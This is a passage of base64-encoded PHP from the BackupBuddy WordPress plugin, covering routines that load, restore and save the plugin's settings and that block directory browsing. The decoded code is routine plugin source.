cGMoKSApIHsgLy8gSWYgaW4gSW1wb3J0QnVkZHkgbW9kZSBBTkQgbWFnaWMgcXVvdGVzIGlzIG5vdCBvbiwgZG9udCBzdHJpcC4gV1AgZXNjYXBlcyBmb3IgdXMgaWYgbWFnaWMgcXVvdGVzIGFyZSBvZmYuCgkJCQlyZXR1cm4gJHBvc3RfdmFsdWU7CgkJCX0gZWxzZSB7CgkJCQlyZXR1cm4gc3RyaXBzbGFzaGVzX2RlZXAoICRwb3N0X3ZhbHVlICk7IC8vIFJlbW92ZSBXb3JkUHJlc3MnIG1hZ2ljLXF1b3Rlcy1zdHlsZSBlc2NhcGluZyBvZiBkYXRhLgoJCQl9CgkJfQoJfSAvLyBFbmQgX1BPU1QoKS4KCgkvKioKCSAqIFJldHVybnMgJF9HRVQgdmFsdWUgaWYgYXZhaWxhYmxlLCBlbHNlIHJldHVybnMgYSBibGFuay4gUHJldmVudHMgaGF2aW5nIHRvIGNoZWNrIGlzc2V0IGZpcnN0LgoJICoKCSAqIEB0b2RvIERvIHdlIG5lZWQgdG8gc3RyaXBzbGFzaGVzX2RlZXAoKSBvbiBHRVQgdmFycyBhbHNvIGxpa2UgUE9TVHM/CgkgKgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIEtleSBvZiBQT1NUIHZhcmlhYmxlIHRvIGNoZWNrLgoJICoKCSAqIEByZXR1cm4gbWl4ZWQgIFZhbHVlIG9mIFBPU1QgdmFyaWFibGUgaWYgc2V0LiBJZiBub3Qgc2V0IHJldHVybnMgYSBibGFuayBzdHJpbmcgJycuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX0dFVCggJHZhbHVlID0gJycgKSB7CgkJaWYgKCAnJyA9PSAkdmFsdWUgfHwgbnVsbCA9PSAkdmFsdWUgKSB7IC8vIFJlcXVlc3RpbmcgJF9HRVQgdmFyaWFibGUuCgkJCWlmICggcGJfaXNfc3RhbmRhbG9uZSgpICYmICEgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgLy8gSWYgaW4gSW1wb3J0QnVkZHkgbW9kZSBBTkQgbWFnaWMgcXVvdGVzIGlzIG5vdCBvbiwgZG9udCBzdHJpcC4gV1AgZXNjYXBlcyBmb3IgdXMgaWYgbWFnaWMgcXVvdGVzIGFyZSBvZmYuCgkJCQlyZXR1cm4gJF9HRVQ7CgkJCX0KCQkJcmV0dXJuIHN0cmlwc2xhc2hlc19kZWVwKCAkX0dFVCApOwoJCX0gZWxzZSB7CgkJCSRnZXRfdmFsdWUgPSAnJzsKCQkJaWYgKCBpc3NldCggJF9HRVRbICR2YWx1ZSBdICkgKSB7CgkJCQkkZ2V0X3ZhbHVlID0gJF9HRVRbICR2YWx1ZSBdOwoJCQl9CgkJCWlmICggcGJfaXNfc3RhbmRhbG9uZSgpICYmICEgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgLy8gSWYgaW4gSW1wb3J0QnVkZHkgbW9kZSBBTkQgbWFnaWMgcXVvdGVzIGlzIG5vdCBvbiwgZG9udCBzdHJpcC4gV1AgZXNjYXBlcyBmb3IgdXMgaWYgbWFnaWMgcXVvdGVzIGFyZSBvZmYuCgkJCQlyZXR1cm4gJGdldF92YWx1ZTsKCQkJfSBlbHNlIHsKCQkJCXJldHVybiBzdHJpcHNsYXNoZXNfZGVlcCggJGdldF92YWx1ZSApOyAvLyBSZW1vdmUgV29yZFByZXNzJyBtYWdpYy1xdW90ZXMtc3R5bGUgZXNjYXBpbmcgb2YgZGF0YS4KCQkJfQoJCX0KCX0gLy8gRW5kIF9HRVQoKS4KCgkvKioKCSAqIEdyYWJzICYgcmV0dXJucyBhIHJlZmVyZW5jZSB0byBhIHNwZWNpZmllZCBwb2ludCBpbiB0aGUgb3B0aW9ucyBhcnJheS4KCSAqIEV4IHVzYWdlOiAkZ3JvdXAgPSAmc2VsZjo6Z2V0X2dyb3VwKCAnZ3JvdXBzIycgLiAkX0dFVFsnZWRpdCddICk7CgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2F2ZXBvaW50X3Jvb3QgIFBhdGggaW4gdGhlIGFycmF5IHRvIHJldHVybiBhIHJlZmVyZW5jZSB0by4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFeDogZ3JvdXBzIzUgd2lsbCBncmFiIHNlbGY6OiRvcHRpb25zWydncm91cHMnXVs1XS4KCSAqCgkgKiBAcmV0dXJuIG1peGVkICBWYWx1ZSB3aXRoaW4gdGhlIGFycmF5IGF0IHRoZSBzcGVjaWZpZWQgcG9pbnQuCgkgKiAgICAgICAgICAgICAgICBDYW4gYmUgdXNlZCBhcyBhIHJlZmVyZW5jZS4gU2VlIGV4YW1wbGUgaW4gZGVzY3JpcHRpb24uCgkgKiAgICAgICAgICAgICAgICBOT1RFOiBSZXR1cm5zIGZhbHNlIGlmIG5vdCBmb3VuZC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiAmZ2V0X2dyb3VwKCAkc2F2ZXBvaW50X3Jvb3QgKSB7CgkJaWYgKCAnJyA9PSAkc2F2ZXBvaW50X3Jvb3QgKSB7IC8vIFJvb3Qgd2FzIHJlcXVlc3RlZC4KCQkJJHJldHVybiA9ICZzZWxmOjokb3B0aW9uczsKCQkJcmV0dXJuICRyZXR1cm47CgkJfQoKCQkkc2F2ZXBvaW50X3N1YnNlY3Rpb24gPSAmc2VsZjo6JG9wdGlvbnM7CgkJJHNhdmVwb2ludF9sZXZlbHMgICAgID0gZXhwbG9kZSggJyMnLCAkc2F2ZXBvaW50X3Jvb3QgKTsKCQlmb3JlYWNoICggJHNhdmVwb2ludF9sZXZlbHMgYXMgJHNhdmVwb2ludF9sZXZlbCApIHsKCQkJaWYgKCBpc3NldCggJHNhdmVwb2ludF9zdWJzZWN0aW9ueyRzYXZlcG9pbnRfbGV2ZWx9ICkgKSB7CgkJCQkkc2F2ZXBvaW50X3N1YnNlY3Rpb24gPSAmJHNhdmVwb2ludF9zdWJzZWN0aW9ueyRzYXZlcG9pbnRfbGV2ZWx9OwoJCQl9IGVsc2UgewoJCQkJZWNobyAne0Vycm9yICM0NDg5MDQ1OiBJbnZhbGlkIGFycmF5IGluIHBhdGg6IGAnIC4gJHNhdmVwb2ludF9yb290IC4gJ2B9JzsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCgkJcmV0dXJuICRzYXZlcG9pbnRfc3Vic2VjdGlvbjsKCX0gLy8gRW5kIGdldF9ncm91cCgpLgoKCS8qKgoJICogTG9hZCBmcm9tIEJhY2t1cAoJICoKCSAqIEB0b2RvIGkxOG4uCgkgKgoJICogQHJldHVybiBtaXhlZCAgJHNldHRpbmdzIG9yIGZhbHNlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGxvYWRfZnJvbV9iYWNrdXAoKSB7CgkJJHJlc3RvcmVfZmFpbF9tZXNzYWdlICAgID0gJ0Vycm9yICM4NDkzODk0MzogWW91ciBCYWNrdXBCdWRkeSBTZXR0aW5ncyB3ZXJlIGRldGVjdGVkIGFzIG1pc3Npbmcgb3IgY29ycnVwdC4gQmFja3VwQnVkZHkgaGFzIGF0dGVtcHRlZCB0byBsb2FkIEJhY2t1cEJ1ZGR5IHNldHRpbmdzIGZyb20gaXRzIHNldHRpbmdzIGJhY2t1cCBmaWxlIGJ1dCBmYWlsZWQuIFZlcmlmeSB5b3VyIEJhY2t1cEJ1ZGR5IHNldHRpbmdzIGFyZSBzdGlsbCBpbnRhY3QgYW5kIHZhbGlkLiBUaGlzIGNvdWxkIGhhdmUgYmVlbiBjYXVzZWQgYnkgYSBkYXRhYmFzZSBlcnJvciBvciBjb3JydXB0aW9uLic7CgkJJHJlc3RvcmVfc3VjY2Vzc19tZXNzYWdlID0gJ1dhcm5pbmcgIzg5NDM4NDogWW91ciBCYWNrdXBCdWRkeSBTZXR0aW5ncyB3ZXJlIGRldGVjdGVkIGFzIG1pc3Npbmcgb3IgY29ycnVwdC4gQmFja3VwQnVkZHkgaGFzIHJlc3RvcmVkIHlvdXIgcHJldmlvdXMgQmFja3VwQnVkZHkgc2V0dGluZ3MgZnJvbSBpdHMgc2V0dGluZ3MgYmFja3VwIGZpbGUuIFBsZWFzZSB2ZXJpZnkgeW91ciByZXN0b3JlZCBCYWNrdXBCdWRkeSBzZXR0aW5ncyBsb29rIG9rYXkuIFRoaXMgY291bGQgaGF2ZSBiZWVuIGNhdXNlZCBieSBhIGRhdGFiYXNlIGVycm9yIG9yIGNvcnJ1cHRpb24uJzsKCgkJcmVxdWlyZV9vbmNlIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9jbGFzc2VzL2NvcmUucGhwJzsKCQkkYmFja3VwX2RpciAgICAgICA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpOwoJCSRleGlzdGluZ19iYWNrdXBzID0gZ2xvYiggJGJhY2t1cF9kaXIgLiAnc2V0dGluZ3NfYmFja3VwLSoucGhwJyApOwoJCWlmICggISBpc19hcnJheSggJGV4aXN0aW5nX2JhY2t1cHMgKSB8fCBjb3VudCggJGV4aXN0aW5nX2JhY2t1cHMgKSA8IDEgKSB7IC8vIE5vIGJhY2t1cHMgc28ganVzdCBsb2FkIGRlZmF1bHRzLiBNYXkgYmUgYSBuZXcgaW5zdGFsbC4KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gRklYTUU6IEF2b2lkIEAgc3ltYm9sIGhlcmUuIFBvc3NpYmx5IHVzZSB0cnkvY2F0Y2g/CgkJJHNldHRpbmdzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCAkZXhpc3RpbmdfYmFja3Vwc1swXSApOwoJCWlmICggZmFsc2UgPT09ICRzZXR0aW5ncyApIHsKCQkJYmFja3VwYnVkZHlfY29yZTo6bWFpbF9lcnJvciggJHJlc3RvcmVfZmFpbF9tZXNzYWdlIC4gJyBEZXRhaWxzOiBVbmFibGUgdG8gb3Blbi9yZWFkIGJhY2t1cCBmaWxlIHRoYXQgd2FzIGZvdW5kLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gU2tpcCBmaXJzdCBsaW5lLgoJCSRzZWNvbmRfbGluZV9wb3MgPSBzdHJwb3MoICRzZXR0aW5ncywgIlxuIiApICsgMTsKCQkkc2V0dGluZ3MgICAgICAgID0gc3Vic3RyKCAkc2V0dGluZ3MsICRzZWNvbmRfbGluZV9wb3MgKTsKCgkJLy8gRGVjb2RlIGJhY2sgaW50byBhbiBhcnJheS4KCQkkc2V0dGluZ3MgPSB1bnNlcmlhbGl6ZSggYmFzZTY0X2RlY29kZSggJHNldHRpbmdzICkgKTsKCgkJaWYgKCBpc19hcnJheSggJHNldHRpbmdzICkgJiYgKCBpc3NldCggJHNldHRpbmdzWydkYXRhX3ZlcnNpb24nXSApICkgKSB7IC8vIEdvb2QgcmVzdG9yZS4KCQkJcmV0dXJuICRzZXR0aW5nczsKCQl9IGVsc2UgeyAvLyBSZXN0b3JlIGZhaWxlZC4gQmFkIGRhdGEhCgkJCWVycm9yX2xvZyggJ0JhY2t1cEJ1ZGR5IHNldHRpbmdzIGZhaWxlZCByZXN0b3JlLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgl9IC8vIEVuZCBsb2FkX2Zyb21fYmFja3VwKCkuCgoJLyoqCgkgKiBMb2FkcyB0aGUgcGx1Z2luIG9wdGlvbnMgYXJyYXkgY29udGFpbmluZyBhbGwgdXNlci1jb25maWd1cmFibGUgb3B0aW9ucywgZXRjLgoJICogQWNjZXNzIG9wdGlvbnMgdmlhIHNlbGY6OiRvcHRpb25zLiBCeXBhc3NlcyBXUCBvcHRpb25zIGNhY2hpbmcgZm9yIHJlbGlhYmlsaXR5LgoJICoKCSAqIEBwYXJhbSBib29sICRyZXRyeV9kYiAgUmV0cnkgREIuCgkgKgoJICogQHJldHVybiBudWxsCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbG9hZCggJHJldHJ5X2RiID0gdHJ1ZSApIHsKCQlpZiAoIHBiX2lzX3N0YW5kYWxvbmUoKSApIHsgLy8gU3RhbmRhbG9uZSBmcmFtZXdvcmsgbW9kZSAob3V0c2lkZSBXb3JkUHJlc3MpLgoJCQkvLyBMb2FkIG9wdGlvbnMgZnJvbSBmaWxlIGlmIGl0IGV4aXN0cy4KCQkJJGRhdF9maWxlID0gQUJTUEFUSCAuICdpbXBvcnRidWRkeS9fc2V0dGluZ3NfZGF0LnBocCc7CgkJCWlmICggZmlsZV9leGlzdHMoICRkYXRfZmlsZSApICkgewoJCQkJJG9wdGlvbnMgPSBmaWxlX2dldF9jb250ZW50cyggJGRhdF9maWxlICk7CgoJCQkJLy8gU2tpcCBmaXJzdCBsaW5lLgoJCQkJJHNlY29uZF9saW5lX3BvcyA9IHN0cnBvcyggJG9wdGlvbnMsICJcbiIgKSArIDE7CgkJCQkkb3B0aW9ucyAgICAgICAgID0gc3Vic3RyKCAkb3B0aW9ucywgJHNlY29uZF9saW5lX3BvcyApOwoKCQkJCS8vIERlY29kZSBiYWNrIGludG8gYW4gYXJyYXkuCgkJCQkkb3B0aW9ucyA9IGpzb25fZGVjb2RlKCBiYXNlNjRfZGVjb2RlKCAkb3B0aW9ucyApLCB0cnVlICk7CgkJCX0gZWxzZSB7IC8vIE5vIGV4aXN0aW5nIG9wdGlvbnMuIEVtcHR5IG9wdGlvbnMuCgkJCQkkb3B0aW9ucyA9IGFycmF5KCk7CgkJCX0KCgkJCS8vIE1lcmdlIGRlZmF1bHRzLgoJCQkkb3B0aW9ucyA9IGFycmF5X21lcmdlKCAoYXJyYXkpIHNlbGY6OnNldHRpbmdzKCAnZGVmYXVsdF9vcHRpb25zJyApLCAkb3B0aW9ucyApOwoKCQkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zID0gJG9wdGlvbnM7CgkJfSBlbHNlIHsgLy8gTm9ybWFsIEJCIGluIFdvcmRQcmVzcy4KCQkJc2VsZjo6JG9wdGlvbnMgPSBzZWxmOjpfZ2V0X29wdGlvbiggJ3BiXycgLiBzZWxmOjpzZXR0aW5ncyggJ3NsdWcnICkgKTsKCQl9CgoJCS8vIE1lcmdlIGRlZmF1bHRzIGludG8gdGVtcG9yYXJ5ICRvcHRpb25zIHZhcmlhYmxlIGFuZCBzYXZlIGlmIGl0IGRpZmZlcnMgd2l0aCB0aGUgcHJlLW1lcmdlIG9wdGlvbnMuIE9ubHkgcmV0cmllcyB0aGlzIG9uY2UuCgkJaWYgKCAoIGVtcHR5KCBzZWxmOjokb3B0aW9ucyApIHx8ICEgaXNzZXQoIHNlbGY6OiRvcHRpb25zWydkYXRhX3ZlcnNpb24nXSApICkgJiYgdHJ1ZSA9PT0gJHJldHJ5X2RiICkgeyAvLyBJZiBlbXB0eSBvcHRpb25zIG9yIGNvcnJ1cHQuCgkJCWdsb2JhbCAkd3BkYjsKCQkJLy8gSWYgdGhlIGRhdGFiYXNlIGdvZXMgYXdheSBpbiB0aGUgbWlkZGxlIG9mIGEgcXVlcnksIHdhaXQgNSBzZWNvbmRzIGFuZCB0cnkgYWdhaW4uIE90aGVyd2lzZSwgd2UgdW5pbnRlbnRpb25hbGx5IG92ZXJ3cml0ZSB0aGUgc2V0dGluZ3MuCgkJCWlmICggISBlbXB0eSggJHdwZGItPmxhc3RfZXJyb3IgKSAmJiBmYWxzZSAhPT0gc3RycG9zKCAkd3BkYi0+bGFzdF9lcnJvciwgIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSBgJHdwZGItPm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lID0gJ3BiX2JhY2t1cGJ1ZGR5JyIgKSApIHsKCQkJCXNsZWVwKCA1ICk7CgkJCQlzZWxmOjpsb2FkKCBmYWxzZSApOwoJCQkJcmV0dXJuOwoJCQl9IGVsc2UgeyAvLyBNaXNzaW5nIG9yIGNvcnJ1cHQgb3B0aW9ucyB3aGVuIGxvYWRpbmcuIEVpdGhlciBhIG5ldyBpbnN0YWxsIG9yIHNldHRpbmdzIHdlbnQgbWlzc2luZy4KCgkJCQkvLyBDaGVjayBmb3IgYSBzZXR0aW5ncyBiYWNrdXAgYW5kIHRyeSB0byBsb2FkIGl0IGlmIHdlcmUgbm90IGluIGEgc3RhbmRhbG9uZSBzY3JpcHQuCgkJCQlpZiAoICEgcGJfaXNfc3RhbmRhbG9uZSgpICkgewoJCQkJCSRyZXN0b3JlZF9zZXR0aW5ncyA9IHNlbGY6OmxvYWRfZnJvbV9iYWNrdXAoKTsKCQkJCQlpZiAoIGZhbHNlICE9PSAkcmVzdG9yZWRfc2V0dGluZ3MgKSB7CgkJCQkJCSRvcHRpb25zID0gJHJlc3RvcmVkX3NldHRpbmdzOwoJCQkJCX0gZWxzZSB7IC8vIExvYWQgZGVmYXVsdHMuCgkJCQkJCSRvcHRpb25zID0gKGFycmF5KSBzZWxmOjpzZXR0aW5ncyggJ2RlZmF1bHRfb3B0aW9ucycgKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9IGVsc2UgeyAvLyBOb3JtYWwgbWVyZ2UuCgkJCSRkZWZhdWx0cyA9IChhcnJheSkgc2VsZjo6c2V0dGluZ3MoICdkZWZhdWx0X29wdGlvbnMnICk7CgoJCQkvLyBBcHBseSBkZWZhdWx0cy4KCQkJJG9wdGlvbnMgPSBhcnJheV9tZXJnZSggJGRlZmF1bHRzLCAoYXJyYXkpIHNlbGY6OiRvcHRpb25zICk7CgoJCQkvLyBBcHBseSBkZWZhdWx0IHByb2ZpbGVzLgoJCQkkb3B0aW9uc1sncHJvZmlsZXMnXSA9IChhcnJheSkgc2VsZjo6JG9wdGlvbnNbJ3Byb2ZpbGVzJ10gKyAkZGVmYXVsdHNbJ3Byb2ZpbGVzJ107IC8vIE1lcmdlIGFycmF5cyBvbiBudW1lcmljIGluZGljZXMuIExlZnQgc2lkZSBpcyBwcmVzZXJ2ZWQgKG9wcG9zaXRlIG9mIGFycmF5X21lcmdlKCkpLgoJCX0KCQlpZiAoIHNlbGY6OiRvcHRpb25zICE9PSAkb3B0aW9ucyApIHsKCQkJc2VsZjo6JG9wdGlvbnMgPSAkb3B0aW9uczsKCQkJc2VsZjo6c2F2ZSgpOwoJCX0KCX0gLy8gRW5kIGxvYWQoKS4KCgkvKioKCSAqIEJ5cGFzc2VzIFdvcmRQcmVzcyBvcHRpb25zIGNhY2hlLiBVbmZvcnR1bmF0ZWx5IHRoZXJlIGFwcGVhcnMgdG8gYmUgcmFjZSBjb25kaXRpb24gaXNzdWVzIHdpdGggdGhlIGJ1aWx0LWluIFdQIG9wdGlvbnMgc3lzdGVtLgoJICogVXNlZCBieSBsb2FkKCkgZnVuY3Rpb24gaW50ZXJuYWxseS4gVGFrZW4gYW5kIG1vZGlmaWVkIGZyb20gV29yZFByZXNzIGNvcmUuCgkgKgoJICogQHNlZSBsb2FkKCkKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRvcHRpb24gICBPcHRpb24gbmFtZS4KCSAqIEBwYXJhbSBtaXhlZCAgJGRlZmF1bHQgIGRlZmF1bHQgPSBmYWxzZTsgd2UgZG8gbm90IHVzZSB0aGlzLgoJICoKCSAqIEByZXR1cm4gbWl4ZWQgU2F2ZWQgb3B0aW9uIHZhbHVlLgoJICovCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfZ2V0X29wdGlvbiggJG9wdGlvbiwgJGRlZmF1bHQgPSBmYWxzZSApIHsKCQlnbG9iYWwgJHdwZGI7CgoJCSRvcHRpb24gPSB0cmltKCAkb3B0aW9uICk7CgkJaWYgKCBlbXB0eSggJG9wdGlvbiApICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlpZiAoIGRlZmluZWQoICdXUF9TRVRVUF9DT05GSUcnICkgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCS8vIEZJWE1FOiBwb3NzaWJseSB1c2UgZ2V0X3NpdGVfb3B0aW9uKCkgaGVyZT8KCQkkYmFzZV9wcmVmaXggPSAkd3BkYi0+YmFzZV9wcmVmaXg7CgkJJHJvdyAgICAgICAgID0gJHdwZGItPmdldF9yb3coICR3cGRiLT5wcmVwYXJlKCAiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIHskYmFzZV9wcmVmaXh9b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICVzIExJTUlUIDEiLCAkb3B0aW9uICkgKTsKCQkvLyBIYXMgdG8gYmUgZ2V0X3JvdyBpbnN0ZWFkIG9mIGdldF92YXIgYmVjYXVzZSBvZiBmdW5raW5lc3Mgd2l0aCAwLCBmYWxzZSwgbnVsbCB2YWx1ZXMuCgkJaWYgKCBpc19vYmplY3QoICRyb3cgKSApIHsKCQkJJHZhbHVlID0gJHJvdy0+b3B0aW9uX3ZhbHVlOwoJCX0gZWxzZSB7CgkJCSR2YWx1ZSA9ICRkZWZhdWx0OwoJCX0KCgkJLy8gSWYgaG9tZSBpcyBub3Qgc2V0IHVzZSBzaXRldXJsLgoJCWlmICggJ2hvbWUnID09ICRvcHRpb24gJiYgJycgPT0gJHZhbHVlICkgewoJCQlyZXR1cm4gZ2V0X29wdGlvbiggJ3NpdGV1cmwnICk7CgkJfQoKCQlpZiAoIGluX2FycmF5KCAkb3B0aW9uLCBhcnJheSggJ3NpdGV1cmwnLCAnaG9tZScsICdjYXRlZ29yeV9iYXNlJywgJ3RhZ19iYXNlJyApICkgKSB7CgkJCSR2YWx1ZSA9IHVudHJhaWxpbmdzbGFzaGl0KCAkdmFsdWUgKTsKCQl9CgoJCSR2YWx1ZSA9IG1heWJlX3Vuc2VyaWFsaXplKCAkdmFsdWUgKTsKCgkJcmV0dXJuICR2YWx1ZTsKCX0gLy8gRW5kIGdldF9vcHRpb24oKS4KCgkvKioKCSAqIFNhdmUgcGx1Z2luIG9wdGlvbnMgdG8gZGF0YWJhc2UuCgkgKgoJICogQHJldHVybiBib29sICBUcnVlIGlmIHNhdmUgc3VjY2VlZGVkLCBmYWxzZSBvdGhlcndpc2UuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gc2F2ZSgpIHsKCQlpZiAoIHBiX2lzX3N0YW5kYWxvbmUoKSApIHsKCQkJJG9wdGlvbnNfY29udGVudCA9IGJhc2U2NF9lbmNvZGUoIGpzb25fZW5jb2RlKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnMgKSApOwoJCQkkcmVzdWx0ICAgICAgICAgID0gZmlsZV9wdXRfY29udGVudHMoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvX3NldHRpbmdzX2RhdC5waHAnLCAiPD9waHAgZGllKCc8IS0tIC8vIFNpbGVuY2UgaXMgZ29sZGVuLiAtLT4nKTsgPz5cbiIgLiAkb3B0aW9uc19jb250ZW50ICk7CgkJCS8vIEZJWE1FOiBDb3VsZCB3ZSBqdXN0IHJldHVybiAkcmVzdWx0PwoJCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9IGVsc2UgewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9CgoJCWFkZF9zaXRlX29wdGlvbiggJ3BiXycgLiBzZWxmOjpzZXR0aW5ncyggJ3NsdWcnICksIHNlbGY6OiRvcHRpb25zLCAnJywgJ25vJyApOyAvLyAnTm8nIHByZXZlbnRzIGF1dG9sb2FkIGlmIHdlIHdvbnQgYWx3YXlzIG5lZWQgdGhlIGRhdGEgbG9hZGVkLgoJCXJldHVybiBzZWxmOjpfdXBkYXRlX29wdGlvbiggJ3BiXycgLiBzZWxmOjpzZXR0aW5ncyggJ3NsdWcnICksIHNlbGY6OiRvcHRpb25zICk7Cgl9IC8vIEVuZCBzYXZlKCkuCgoJLyoqCgkgKiBCeXBhc3NlcyBXb3JkUHJlc3MgYnVpbHQgaW4gdXBkYXRlIG9wdGlvbiBjYWNoZS4gVGFrZW4gZnJvbSBXb3JkUHJlc3MgY29yZSBhbmQgbW9kaWZpZWQuCgkgKgoJICogQHNlZSBzZWxmOjpfZ2V0X29wdGlvbigpCgkgKiBAc2VlIHNlbGY6OnNhdmUoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG9wdGlvbiAgICBPcHRpb24gbmFtZS4KCSAqIEBwYXJhbSBtaXhlZCAgJG5ld3ZhbHVlICBOZXcgdmFsdWUgdG8gc2F2ZSBpbnRvIG9wdGlvbi4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gc3VjY2VzczsgZmFsc2Ugb3RoZXJ3aXNlLgoJICovCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdXBkYXRlX29wdGlvbiggJG9wdGlvbiwgJG5ld3ZhbHVlICkgewoJCWdsb2JhbCAkd3BkYjsKCgkJJG9wdGlvbiA9IHRyaW0oICRvcHRpb24gKTsKCQlpZiAoIGVtcHR5KCAkb3B0aW9uICkgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRvbGR2YWx1ZSA9IGdldF9vcHRpb24oICRvcHRpb24gKTsKCQlpZiAoIGZhbHNlID09PSAkb2xkdmFsdWUgKSB7CgkJCXJldHVybiBhZGRfb3B0aW9uKCAkb3B0aW9uLCAkbmV3dmFsdWUgKTsKCQl9IGVsc2UgewoJCQkkbmV3dmFsdWUgPSBzYW5pdGl6ZV9vcHRpb24oICRvcHRpb24sICRuZXd2YWx1ZSApOwoJCQkkbmV3dmFsdWUgPSBtYXliZV9zZXJpYWxpemUoICRuZXd2YWx1ZSApOwoJCQkkcmVzdWx0ICAgPSAkd3BkYi0+dXBkYXRlKAoJCQkJJHdwZGItPm9wdGlvbnMsIGFycmF5KAoJCQkJCSdvcHRpb25fdmFsdWUnID0+ICRuZXd2YWx1ZSwKCQkJCSksIGFycmF5KAoJCQkJCSdvcHRpb25fbmFtZScgPT4gJG9wdGlvbiwKCQkJCSkKCQkJKTsKCgkJCWlmICggJHJlc3VsdCApIHsKCQkJCXJldHVybiB0cnVlOwoJCQl9CgkJfQoKCQlyZXR1cm4gZmFsc2U7Cgl9IC8vIEVuZCBfdXBkYXRlX29wdGlvbigpLgoKCS8qKgoJICogSGVscHMgc2VjdXJpdHkgYnkgYXR0ZW1wdGluZyB0byBibG9jayBkaXJlY3RvcnkgYnJvd3NpbmcgYnkgY3JlYXRpbmcKCSAqIGJvdGggaW5kZXguaHRtIGZpbGVzIGFuZCAuaHRhY2Nlc3MgZmlsZXMgdHVybmluZyBicm93c2luZyBvZmYuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkZGlyZWN0b3J5ICAgICAgIEZ1bGwgYWJzb2x1dGUgcGFzcyB0byBpbnNlcnQgYW50aS1kaXJlY3RvcnktYnJvd3NpbmcgZmlsZXMgaW50by4gTm8gdHJhaWxpbmcgc2xhc2guCgkgKiBAcGFyYW0gYm9vbCAgICRkaWVfb25fZmFpbCAgICAgV2hlbiB0cnVlIGFsc28gZW5mb3JjZSBkZW55aW5nIEFMTCB3ZWItYmFzZWQgYWNjZXNzIHRvIGRpcmVjdG9yeS4gRGVmYXVsdCBmYWxzZS4KCSAqIEBwYXJhbSBib29sICAgJGRlbnlfYWxsICAgICAgICBEZW55IGFsbC4KCSAqIEBwYXJhbSBib29sICAgJHN1cHByZXNzX2FsZXJ0ICBTdXBwcmVzcyBhbGVydC4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gc3VjY2VzcyBzZWN1cmluZyBkaXJlY3RvcnksIGZhbHNlIG90aGVyd2lzZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhbnRpX2RpcmVjdG9yeV9icm93c2luZyggJGRpcmVjdG9yeSA9ICcnLCAkZGllX29uX2ZhaWwgPSB0cnVlLCAkZGVueV9hbGwgPSBmYWxzZSwgJHN1cHByZXNzX2FsZXJ0ID0gZmFsc2UgKSB7CgoJCS8vIENoZWNrIGRpcmVjdG9yeSBleGlzdHMgJiBjcmVhdGUgaWYgaXQgZG9lc24ndC4KCQlpZiAoICEgZmlsZV9leGlzdHMoICRkaXJlY3RvcnkgKSApIHsKCQkJJG1vZGUgICAgPSBhcHBseV9maWx0ZXJzKCAnaXRidWItZGVmYXVsdC1maWxlLW1vZGUnLCAwNzU1ICk7CgkJCSRyZWN1cnNlID0gdHJ1ZTsKCQkJaWYgKCBzZWxmOjokZmlsZXN5c3RlbS0+bWtkaXIoICRkaXJlY3RvcnksICRtb2RlLCAkcmVjdXJzZSApID09PSBmYWxzZSApIHsKCQkJCSRlcnJvciA9ICdFcnJvciAjOTAwMjogQmFja3VwQnVkZHkgdW5hYmxlIHRvIGNyZWF0ZSBkaXJlY3RvcnkgYCcgLiAkZGlyZWN0b3J5IC4gJ2AuIFBsZWFzZSB2ZXJpZnkgd3JpdGUgcGVybWlzc2lvbnMgZm9yIHRoZSBwYXJlbnQgZGlyZWN0b3J5IGAnIC4gZGlybmFtZSggJGRpcmVjdG9yeSApIC4gJ2Agb3IgbWFudWFsbHkgY3JlYXRlIHRoZSBzcGVjaWZpZWQgZGlyZWN0b3J5ICYgc2V0IHBlcm1pc3Npb25zLic7CgkJCQlpZiAoIHRydWUgIT09ICRzdXBwcmVzc19hbGVydCApIHsKCQkJCQlzZWxmOjphbGVydCggJGVycm9yLCB0cnVlLCAnOTAwMicgKTsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkZXJyb3IgKTsKCQkJCX0KCQkJCWlmICggdHJ1ZSA9PT0gJGRpZV9vbl9mYWlsICkgewo